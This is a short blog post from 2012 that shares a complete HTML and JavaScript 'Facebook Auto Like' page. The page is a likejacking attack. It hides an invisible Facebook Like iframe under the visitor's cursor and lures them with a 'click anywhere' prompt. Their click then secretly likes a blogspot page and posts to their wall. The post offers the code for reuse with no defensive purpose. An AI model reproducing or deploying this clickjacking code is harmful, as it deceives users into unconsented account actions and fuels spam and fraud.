Sunday, January 1, 2012

Facebook Auto Like Script reCODE BY Def4z3r

This script is freely available on the internet yet...!

1:  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2:  <html xmlns="http://www.w3.org/1999/xhtml">  
3:  <head>  
4:  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5:  <title>Facebook Auto Like Script reCODE BY Def4z3r</title>  
6:  <script src="jquery-1.4.2.min.js" type="text/javascript"></script>  
7:  <script type="text/javascript">  
8:  var interval;  
9:      $(function()  
10:  {  
11:    interval=setInterval("updateActiveElement();", 50);  
12:  });  
13:  function updateActiveElement()  
14:  {  
15:    if ( $(document.activeElement).attr('id')=="fbframe" )   
16:    {  
17:      clearInterval(interval);  
18:      iflag=1;   
19:    }    
20:  }  
21:      </script>  
22:  </head>  
23:  <body>  
24:  <!--page content goes here--> <center>  
25:  <h2>Hey Dude Please click anywhere on the page.</h2>  
26:   <p>Now check your facebook wall :-P </p>  
27:  . <img src="http://animateddesktopbackground.com/wp-content/uploads/2011/12/2012-happy-new-year-background-wallpaper-640x490.jpg" />  
28:     <!-- end of page content (but don't close your html or body tag here)-->  
29:  <div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">  
30:  <!--facebook like frame code goes here-->  
31:       <iframe src="http://www.facebook.com/plugins/like.php?href=http://lh4d.blogspot.com/&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>  
32:     <!--end facebook like frame code-->  
33:    </div>  
34:     <script>  
35:    var iflag = 0;  
36:    var icontainer = document.getElementById('icontainer');    
37:    var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes  
38:    function mouseFollower(e){  
39:      /*          DO NOT EDIT THIS             */  
40:    if (window.event)   
41:    { // for IE  
42:      icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';  
43:      icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';  
44:    }   
45:    else   
46:    {  
47:      icontainer.style.top = (e.pageY-5)+'px';  
48:      icontainer.style.left = (e.pageX-5)+'px';  
49:    }  
50:    }  
51:    document.onmousemove = function(e) {  
52:      if (iflag == 0) {mouseFollower(e);}  
53:    }  
54:    </script>  
55:  </body>  
56:  </html>